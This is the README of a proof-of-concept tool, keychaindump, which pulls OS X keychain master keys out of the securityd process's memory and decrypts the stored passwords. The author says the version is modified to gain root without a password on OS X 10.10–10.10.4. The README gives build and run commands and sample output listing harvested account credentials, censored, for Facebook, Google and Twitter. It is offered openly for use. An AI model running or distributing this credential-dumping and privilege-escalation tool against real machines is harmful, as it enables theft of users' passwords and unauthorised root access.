Keychaindump is a proof-of-concept tool for reading OS X keychain passwords as root. It hunts for unlocked keychain master keys located in the memory space of the securityd process, and uses them to decrypt keychain files.
Originally created by Juuso Salonen, I modify the source to gain root privilege without password on OS X 10.10 - 10.10.4.
Build instructions:
$ gcc keychaindump.c -o keychaindump -lcrypto
Basic usage:
$ [sudo] ./keychaindump [path to keychain file, leave blank for default]
> You don't need sudo if you are using 10.10 - 10.10.4.
Example with truncated and censored output:
$ sudo ./keychaindump
[*] Searching process 15 heap range 0x7fa809400000-0x7fa809500000
[*] Searching process 15 heap range 0x7fa809500000-0x7fa809600000
[*] Searching process 15 heap range 0x7fa809600000-0x7fa809700000
[*] Searching process 15 heap range 0x7fa80a900000-0x7fa80ac00000
[*] Found 17 master key candidates
[*] Trying to decrypt wrapping key in /Users/juusosalonen/Library/Keychains/login.keychain
[*] Trying master key candidate: b49ad51a672bd4be55a4eb4efdb90b242a5f262ba80a95df
[*] Trying master key candidate: 22b8aa80fa0700605f53994940fcfe9acc44eb1f4587f1ac
[*] Trying master key candidate: 1d7aa80fa0700f002005043210074b877579996d09b70000
[*] Trying master key candidate: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found master key: 88edbaf22819a8eeb8e9b75120c0775de8a4d7da842d4a4a
[+] Found wrapping key: e9acc39947f1996df940fceb1f458ac74b877579f54409b7
xxxxxxx:192.168.1.1:xxxxxxx
[email protected]:login.facebook.com:xxxxxxx
[email protected]:smtp.google.com:xxxxxxx
[email protected]:imap.google.com:xxxxxxx
xxxxxxx:twitter.com:xxxxxxx
[email protected]:www.google.com:xxxxxxx
xxxxxxx:imap.gmail.com:xxxxxxx
...
Do whatever you wish. Please don't be evil.
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